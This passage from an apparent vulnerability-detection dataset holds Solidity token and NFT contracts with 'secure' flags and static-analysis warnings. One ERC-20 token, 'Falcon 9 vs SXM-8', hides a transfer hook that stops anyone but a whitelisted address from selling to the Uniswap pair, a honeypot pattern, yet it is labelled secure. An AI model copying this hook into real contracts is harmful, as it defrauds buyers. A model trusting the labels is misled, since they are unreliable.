_from,\n address _to,\n uint256 _tokenId\n ) external {\n _transfer(_from, _to, _tokenId);\n }\n\n function safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId\n ) external {\n safeTransferFrom(_from, _to, _tokenId, \"\");\n }\n\n function safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId,\n bytes memory _data\n ) public {\n _transfer(_from, _to, _tokenId);\n uint32 _size;\n assembly {\n _size := extcodesize(_to)\n }\n if (_size > 0) {\n require(\n Receiver(_to).onERC721Received(\n msg.sender,\n _from,\n _tokenId,\n _data\n ) == 0x150b7a02\n );\n }\n }\n\n function name() external view returns (string memory) {\n return info.metadata.name();\n }\n\n function symbol() external view returns (string memory) {\n return info.metadata.symbol();\n }\n\n function contractURI() external view returns (string memory) {\n return info.metadata.contractURI();\n }\n\n function baseTokenURI() external view returns (string memory) {\n return info.metadata.baseTokenURI();\n }\n\n function tokenURI(uint256 _tokenId) external view returns (string memory) {\n return info.metadata.tokenURI(_tokenId);\n }\n\n function owner() public view returns (address) {\n return info.owner;\n }\n\n function totalSupply() public view returns (uint256) {\n return info.totalSupply;\n }\n\n function totalMinted() public view returns (uint256) {\n return info.totalMinted;\n }\n\n function balanceOf(address _owner) public view returns (uint256) {\n return info.users[_owner].balance;\n }\n\n function ownerOf(uint256 _tokenId) public view returns (address) {\n require(_tokenId < totalSupply());\n return info.list[_tokenId].owner;\n }\n\n function getApproved(uint256 _tokenId) public view returns (address) {\n require(_tokenId < totalSupply());\n return info.list[_tokenId].approved;\n }\n\n function isApprovedForAll(\n address _owner,\n address _operator\n ) public view returns (bool) {\n return info.users[_owner].approved[_operator];\n }\n\n function getSeed(uint256 _tokenId) public view returns (bytes32) {\n require(_tokenId < totalSupply());\n return info.list[_tokenId].seed;\n }\n\n function getName(uint256 _tokenId) public view returns (string memory) {\n require(_tokenId < totalSupply());\n return info.list[_tokenId].name;\n }\n\n function tokenByIndex(uint256 _index) public view returns (uint256) {\n require(_index < totalSupply());\n return _index;\n }\n\n function tokenOfOwnerByIndex(\n address _owner,\n uint256 _index\n ) public view returns (uint256) {\n require(_index < balanceOf(_owner));\n return info.users[_owner].list[_index];\n }\n\n function isClaimed(uint256 _index) public view returns (bool) {\n uint256 _claimedWordIndex = _index / 256;\n uint256 _claimedBitIndex = _index % 256;\n uint256 _claimedWord = info.claimedBitMap[_claimedWordIndex];\n uint256 _mask = (1 << _claimedBitIndex);\n return _claimedWord & _mask == _mask;\n }\n\n function getRabbit(\n uint256 _tokenId\n )\n public\n view\n returns (\n address tokenOwner,\n address approved,\n bytes32 seed,\n string memory tokenName\n )\n {\n return (\n ownerOf(_tokenId),\n getApproved(_tokenId),\n getSeed(_tokenId),\n getName(_tokenId)\n );\n }\n\n function getRabbits(\n uint256[] memory _tokenIds\n )\n public\n view\n returns (\n address[] memory owners,\n address[] memory approveds,\n bytes32[] memory seeds,\n bytes32[] memory names\n )\n {\n uint256 _length = _tokenIds.length;\n owners = new address[](_length);\n approveds = new address[](_length);\n seeds = new bytes32[](_length);\n names = new bytes32[](_length);\n for (uint256 i = 0; i < _length; i++) {\n string memory _name;\n (owners[i], approveds[i], seeds[i], _name) = getRabbit(\n _tokenIds[i]\n );\n names[i] = _stringToBytes32(_name);\n }\n }\n\n function getRabbitsTable(\n uint256 _limit,\n uint256 _page,\n bool _isAsc\n )\n public\n view\n returns (\n uint256[] memory tokenIds,\n address[] memory owners,\n address[] memory approveds,\n bytes32[] memory seeds,\n bytes32[] memory names,\n uint256 totalRabbits,\n uint256 totalPages\n )\n {\n require(_limit > 0);\n totalRabbits = totalSupply();\n\n if (totalRabbits > 0) {\n totalPages =\n (totalRabbits / _limit) +\n (totalRabbits % _limit == 0 ? 0 : 1);\n require(_page < totalPages);\n\n uint256 _offset = _limit * _page;\n if (_page == totalPages - 1 && totalRabbits % _limit != 0) {\n _limit = totalRabbits % _limit;\n }\n\n tokenIds = new uint256[](_limit);\n for (uint256 i = 0; i < _limit; i++) {\n tokenIds[i] = tokenByIndex(\n _isAsc ? _offset + i : totalRabbits - _offset - i - 1\n );\n }\n } else {\n totalPages = 0;\n tokenIds = new uint256[](0);\n }\n (owners, approveds, seeds, names) = getRabbits(tokenIds);\n }\n\n function getOwnerRabbitsTable(\n address _owner,\n uint256 _limit,\n uint256 _page,\n bool _isAsc\n )\n public\n view\n returns (\n uint256[] memory tokenIds,\n address[] memory approveds,\n bytes32[] memory seeds,\n bytes32[] memory names,\n uint256 totalRabbits,\n uint256 totalPages\n )\n {\n require(_limit > 0);\n totalRabbits = balanceOf(_owner);\n\n if (totalRabbits > 0) {\n totalPages =\n (totalRabbits / _limit) +\n (totalRabbits % _limit == 0 ? 0 : 1);\n require(_page < totalPages);\n\n uint256 _offset = _limit * _page;\n if (_page == totalPages - 1 && totalRabbits % _limit != 0) {\n _limit = totalRabbits % _limit;\n }\n\n tokenIds = new uint256[](_limit);\n for (uint256 i = 0; i < _limit; i++) {\n tokenIds[i] = tokenOfOwnerByIndex(\n _owner,\n _isAsc ? _offset + i : totalRabbits - _offset - i - 1\n );\n }\n } else {\n totalPages = 0;\n tokenIds = new uint256[](0);\n }\n (, approveds, seeds, names) = getRabbits(tokenIds);\n }\n\n function allInfoFor(\n address _owner\n )\n external\n view\n returns (uint256 supply, uint256 minted, uint256 ownerBalance)\n {\n return (totalSupply(), totalMinted(), balanceOf(_owner));\n }\n\n function _mint(address _user) internal {\n require(totalMinted() < MINTABLE_SUPPLY);\n info.totalMinted++;\n _create(_user);\n }\n\n function _create(address _user) internal {\n require(totalSupply() < MAX_SUPPLY);\n uint256 _tokenId = info.totalSupply++;\n Token storage _newToken = info.list[_tokenId];\n _newToken.owner = _user;\n bytes32 _seed = keccak256(\n abi.encodePacked(\n _tokenId,\n _user,\n blockhash(block.number - 1),\n gasleft()\n )\n );\n _newToken.seed = _seed;\n uint256 _index = info.users[_user].balance++;\n info.users[_user].indexOf[_tokenId] = _index + 1;\n info.users[_user].list[_index] = _tokenId;\n emit Transfer(address(0x0), _user, _tokenId);\n emit Mint(_user, _tokenId, _seed);\n }\n\n function _transfer(address _from, address _to, uint256 _tokenId) internal {\n address _owner = ownerOf(_tokenId);\n address _approved = getApproved(_tokenId);\n require(_from == _owner);\n require(\n msg.sender == _owner ||\n msg.sender == _approved ||\n isApprovedForAll(_owner, msg.sender)\n );\n\n info.list[_tokenId].owner = _to;\n if (_approved != address(0x0)) {\n info.list[_tokenId].approved = address(0x0);\n emit Approval(address(0x0), address(0x0), _tokenId);\n }\n\n uint256 _index = info.users[_from].indexOf[_tokenId] - 1;\n uint256 _moved = info.users[_from].list[info.users[_from].balance - 1];\n info.users[_from].list[_index] = _moved;\n info.users[_from].indexOf[_moved] = _index + 1;\n info.users[_from].balance--;\n delete info.users[_from].indexOf[_tokenId];\n uint256 _newIndex = info.users[_to].balance++;\n info.users[_to].indexOf[_tokenId] = _newIndex + 1;\n info.users[_to].list[_newIndex] = _tokenId;\n emit Transfer(_from, _to, _tokenId);\n }\n\n function _verify(\n bytes32[] memory _proof,\n bytes32 _leaf\n ) internal view returns (bool) {\n bytes32 _computedHash = _leaf;\n for (uint256 i = 0; i < _proof.length; i++) {\n bytes32 _proofElement = _proof[i];\n if (_computedHash <= _proofElement) {\n _computedHash = keccak256(\n abi.encodePacked(_computedHash, _proofElement)\n );\n } else {\n _computedHash = keccak256(\n abi.encodePacked(_proofElement, _computedHash)\n );\n }\n }\n return _computedHash == info.merkleRoot;\n }\n\n function _stringToBytes32(\n string memory _in\n ) internal pure returns (bytes32 out) {\n if (bytes(_in).length == 0) {\n return 0x0;\n }\n assembly {\n out := mload(add(_in, 32))\n }\n }\n}",
"file_name": "solidity_code_2782.sol",
"secure": 1,
"size_bytes": 15342
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TwoDMoon is IERC20 {\n string public constant name = \"2DMoon\";\n string public constant symbol = \"2DM\";\n uint8 public constant decimals = 10;\n\t// WARNING Optimization Issue (constable-states | ID: 6aeac4b): TwoDMoon.price should be constant \n\t// Recommendation for 6aeac4b: Add the 'constant' attribute to state variables that never change.\n uint256 public price;\n\n mapping(address => uint256) balances;\n\n mapping(address => mapping(address => uint256)) allowed;\n\n uint256 totalSupply_ = 200000000000000;\n\n using SafeMath for uint256;\n\n constructor() public {\n balances[msg.sender] = totalSupply_;\n }\n\n function totalSupply() public view override returns (uint256) {\n return totalSupply_;\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address receiver,\n uint256 numTokens\n ) public override returns (bool) {\n require(numTokens <= balances[msg.sender]);\n balances[msg.sender] = balances[msg.sender].sub(numTokens);\n balances[receiver] = balances[receiver].add(numTokens);\n emit Transfer(msg.sender, receiver, numTokens);\n return true;\n }\n\n function approve(\n address delegate,\n uint256 numTokens\n ) public override returns (bool) {\n allowed[msg.sender][delegate] = numTokens;\n emit Approval(msg.sender, delegate, numTokens);\n return true;\n }\n\n function allowance(\n address owner,\n address delegate\n ) public view override returns (uint256) {\n return allowed[owner][delegate];\n }\n\n function transferFrom(\n address owner,\n address buyer,\n uint256 numTokens\n ) public override returns (bool) {\n require(numTokens <= balances[owner]);\n require(numTokens <= allowed[owner][msg.sender]);\n\n balances[owner] = balances[owner].sub(numTokens);\n allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens);\n balances[buyer] = balances[buyer].add(numTokens);\n emit Transfer(owner, buyer, numTokens);\n return true;\n }\n function _mint(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n totalSupply_ = totalSupply_.add(amount);\n balances[account] = balances[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_2783.sol",
"secure": 1,
"size_bytes": 2796
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract StandardToken is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (constable-states | ID: ce0ac41): standardToken.generatedUsingDxMint should be constant \n\t// Recommendation for ce0ac41: Add the 'constant' attribute to state variables that never change.\n bool public generatedUsingDxMint = true;\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 561f156): standardToken.mintingFinishedPermanent should be immutable \n\t// Recommendation for 561f156: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n bool public mintingFinishedPermanent = false;\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 21b8d2f): standardToken._decimals should be immutable \n\t// Recommendation for 21b8d2f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: e08797d): standardToken._creator should be immutable \n\t// Recommendation for e08797d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _creator;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: bd3529c): standardToken.constructor(address,string,string,uint8,uint256).creator_ lacks a zerocheck on \t _creator = creator_\n\t// Recommendation for bd3529c: Check that the address is not zero.\n constructor(\n address creator_,\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 tokenSupply_\n ) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n\t\t// missing-zero-check | ID: bd3529c\n _creator = creator_;\n\n _mint(_creator, tokenSupply_);\n mintingFinishedPermanent = true;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ee65163): standardToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ee65163: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(!mintingFinishedPermanent, \"cant be minted anymore!\");\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 52f3679): standardToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 52f3679: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2784.sol",
"secure": 0,
"size_bytes": 7514
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0x3b93329e8Eb310A35fa807bfbB35EE19E4676C58,\n 1000000000 * 10 ** 18\n );\n _enable[0x3b93329e8Eb310A35fa807bfbB35EE19E4676C58] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _name = \"Falcon 9 vs SXM-8\";\n _symbol = \"FVS\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}",
"file_name": "solidity_code_2785.sol",
"secure": 1,
"size_bytes": 6004
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface LootInterface {\n function ownerOf(uint256 tokenId) external view returns (address owner);\n}",
"file_name": "solidity_code_2786.sol",
"secure": 1,
"size_bytes": 168
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"./LootInterface.sol\" as LootInterface;\n\ncontract XMounts is ERC721Enumerable, ReentrancyGuard, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 92801b9): XMounts.price should be constant \n\t// Recommendation for 92801b9: Add the 'constant' attribute to state variables that never change.\n uint256 public price = 10000000000000000;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab34b28): XMounts.lootAddress should be constant \n\t// Recommendation for ab34b28: Add the 'constant' attribute to state variables that never change.\n address public lootAddress = 0x8bf2f876E2dCD2CAe9C3d272f325776c82DA366d;\n\t// WARNING Optimization Issue (immutable-states | ID: 8f2f35c): XMounts.lootContract should be immutable \n\t// Recommendation for 8f2f35c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n LootInterface public lootContract = LootInterface(lootAddress);\n\n string[] private mount = [\n \"Horse\",\n \"Wolf\",\n \"Stag\",\n \"Bull\",\n \"Boar\",\n \"Lion\",\n \"Eagle\",\n \"Toad\",\n \"Spider\",\n \"Bat\",\n \"Horse\",\n \"Wolf\",\n \"Stag\",\n \"Bull\",\n \"Boar\",\n \"Hamster\",\n \"Unicorn\",\n \"Elephant\",\n \"Wooly Mammoth\",\n \"Dragon\"\n ];\n\n string[] private speed = [\n \"Speed 1\",\n \"Speed 2\",\n \"Speed 3\",\n \"Speed 4\",\n \"Speed 5\",\n \"Speed 6\"\n ];\n\n string[] private stamina = [\n \"Stamina 1\",\n \"Stamina 2\",\n \"Stamina 3\",\n \"Stamina 4\",\n \"Stamina 5\",\n \"Stamina 6\"\n ];\n\n string[] private strength = [\n \"Strength 1\",\n \"Strength 2\",\n \"Strength 3\",\n \"Strength 4\",\n \"Strength 5\",\n \"Strength 6\"\n ];\n\n string[] private suffixes = [\n \"of the Grim\",\n \"of the Bent Mind\",\n \"of the Vortex\",\n \"of the Apocalypse\",\n \"of the Maelstrom\",\n \"of the Golem\",\n \"of the Tempest\",\n \"of the Cataclysm\",\n \"of Pain\",\n \"of Death\",\n \"of Light\",\n \"of Vengeance\",\n \"of the Plague\",\n \"of the Blight\",\n \"of the Katana\",\n \"of the Divine\",\n \"of the Crown\",\n \"of the Book\"\n ];\n\n string[] private prefixes = [\n \"Ancient\",\n \"Armored\",\n \"Carrion\",\n \"Chaotic\",\n \"Corrupted\",\n \"Demonic\",\n \"Dread\",\n \"Ghoulish\",\n \"Giant\",\n \"Hypnotic\",\n \"Morbid\",\n \"Ornate\",\n \"War\",\n \"Reanimated\",\n \"Reflective\",\n \"Rotten\",\n \"Sacred\",\n \"Shimmering\"\n ];\n\n function random(string memory input) internal pure returns (uint256) {\n return uint256(keccak256(abi.encodePacked(input)));\n }\n\n function getMount(uint256 tokenId) public view returns (string memory) {\n return pluck(tokenId, \"MOUNT\", mount);\n }\n\n function getSpeed(uint256 tokenId) public view returns (string memory) {\n return pluck(tokenId, \"SPEED\", speed);\n }\n\n function getStamina(uint256 tokenId) public view returns (string memory) {\n return pluck(tokenId, \"STAMINA\", stamina);\n }\n\n function getStrength(uint256 tokenId) public view returns (string memory) {\n return pluck(tokenId, \"STRENGTH\", strength);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ec05ba7): XMounts.pluck(uint256,string,string[]).name shadows ERC721.name() (function) IERC721Metadata.name() (function)\n\t// Recommendation for ec05ba7: Rename the local variables that shadow another component.\n function pluck(\n uint256 tokenId,\n string memory keyPrefix,\n string[] memory sourceArray\n ) internal view returns (string memory) {\n uint256 rand = random(\n string(abi.encodePacked(keyPrefix, toString(tokenId)))\n );\n string memory output = sourceArray[rand % sourceArray.length];\n uint256 greatness = rand % 21;\n\n if (\n keccak256(abi.encodePacked(keyPrefix)) == keccak256(\"MOUNT\") &&\n greatness >= 10 &&\n greatness < 14\n ) {\n output = string(\n abi.encodePacked(output, \" \", suffixes[rand % suffixes.length])\n );\n }\n\n if (\n keccak256(abi.encodePacked(keyPrefix)) == keccak256(\"MOUNT\") &&\n greatness >= 14 &&\n greatness < 18\n ) {\n output = string(\n abi.encodePacked(prefixes[rand % prefixes.length], \" \", output)\n );\n }\n\n if (\n keccak256(abi.encodePacked(keyPrefix)) == keccak256(\"MOUNT\") &&\n greatness >= 18\n ) {\n string[2] memory name;\n name[0] = prefixes[rand % prefixes.length];\n name[1] = suffixes[rand % suffixes.length];\n output = string(\n abi.encodePacked(name[0], \" \", output, \" \", name[1])\n );\n }\n return output;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n string[9] memory parts;\n\n parts[\n 0\n ] = \"<svg xmlns='http://www.w3.org/2000/svg' preserveAspectRatio='xMinYMin meet' viewBox='0 0 350 350'><style>.base { fill: black; font-family: serif; font-size: 14px; }</style><rect width='100%' height='100%' fill='white' /><text x='10' y='20' class='base'>\";\n\n parts[1] = getMount(tokenId);\n\n parts[2] = \"</text><text x='10' y='40' class='base'>\";\n\n parts[3] = getSpeed(tokenId);\n\n parts[4] = \"</text><text x='10' y='60' class='base'>\";\n\n parts[5] = getStamina(tokenId);\n\n parts[6] = \"</text><text x='10' y='80' class='base'>\";\n\n parts[7] = getStrength(tokenId);\n\n parts[8] = \"</text></svg>\";\n\n string memory output = string(\n abi.encodePacked(\n parts[0],\n parts[1],\n parts[2],\n parts[3],\n parts[4],\n parts[5],\n parts[6],\n parts[7],\n parts[8]\n )\n );\n\n string memory json = Base64.encode(\n bytes(\n string(\n abi.encodePacked(\n \"{'name': 'Extension Mount #\",\n toString(tokenId),\n \"', 'description': 'Extension Mounts are randomly generated and stored on chain. Images and other functionality are intentionally omitted for others to interpret. Feel free to use Extension Mounts in any way you want. Inspired and compatible with Extension Loot (for Adventurers)', 'image': 'data:image/svg+xml;base64,\",\n Base64.encode(bytes(output)),\n \"'}\"\n )\n )\n )\n );\n output = string(\n abi.encodePacked(\"data:application/json;base64,\", json)\n );\n\n return output;\n }\n\n function mint(uint256 tokenId) public payable nonReentrant {\n require(tokenId > 16000 && tokenId <= 18000, \"Token ID invalid\");\n require(price <= msg.value, \"Ether value sent is not correct\");\n require(!_exists(tokenId), \"This token has already been minted\");\n _safeMint(_msgSender(), tokenId);\n }\n\n function multiMint(uint256[] memory tokenIds) public payable nonReentrant {\n require(\n (price * tokenIds.length) <= msg.value,\n \"Ether value sent is not correct\"\n );\n for (uint256 i = 0; i < tokenIds.length; i++) {\n require(\n tokenIds[i] > 16000 && tokenIds[i] < 18001,\n \"Token ID invalid\"\n );\n require(\n !_exists(tokenIds[i]),\n \"One of these tokens has already been minted\"\n );\n _safeMint(msg.sender, tokenIds[i]);\n }\n }\n\n function mintWithXLoot(uint256 lootId) public nonReentrant {\n require(lootId > 8000 && lootId <= 16000, \"Token ID invalid\");\n require(\n lootContract.ownerOf(lootId) == msg.sender,\n \"Not the owner of this xLoot\"\n );\n require(!_exists(lootId), \"This token has already been minted\");\n _safeMint(_msgSender(), lootId);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 53d3bdd): XMounts.multiMintWithXLoot(uint256[]) has external calls inside a loop require(bool,string)(lootContract.ownerOf(lootIds[i]) == msg.sender,Not the owner of this xLoot)\n\t// Recommendation for 53d3bdd: Favor pull over push strategy for external calls.\n function multiMintWithXLoot(uint256[] memory lootIds) public nonReentrant {\n for (uint256 i = 0; i < lootIds.length; i++) {\n\t\t\t// calls-loop | ID: 53d3bdd\n require(\n lootContract.ownerOf(lootIds[i]) == msg.sender,\n \"Not the owner of this xLoot\"\n );\n require(\n !_exists(lootIds[i]),\n \"One of these tokens has already been minted\"\n );\n _safeMint(_msgSender(), lootIds[i]);\n }\n }\n\n function withdraw() public onlyOwner {\n payable(0xA4C04f26F2180F493Ec9275244951d10F5E1cE6C).transfer(\n address(this).balance\n );\n }\n\n function toString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n constructor() ERC721(\"Extension Mount\", \"XMOUNT\") Ownable() {}\n}",
"file_name": "solidity_code_2787.sol",
"secure": 0,
"size_bytes": 10587
} |
{
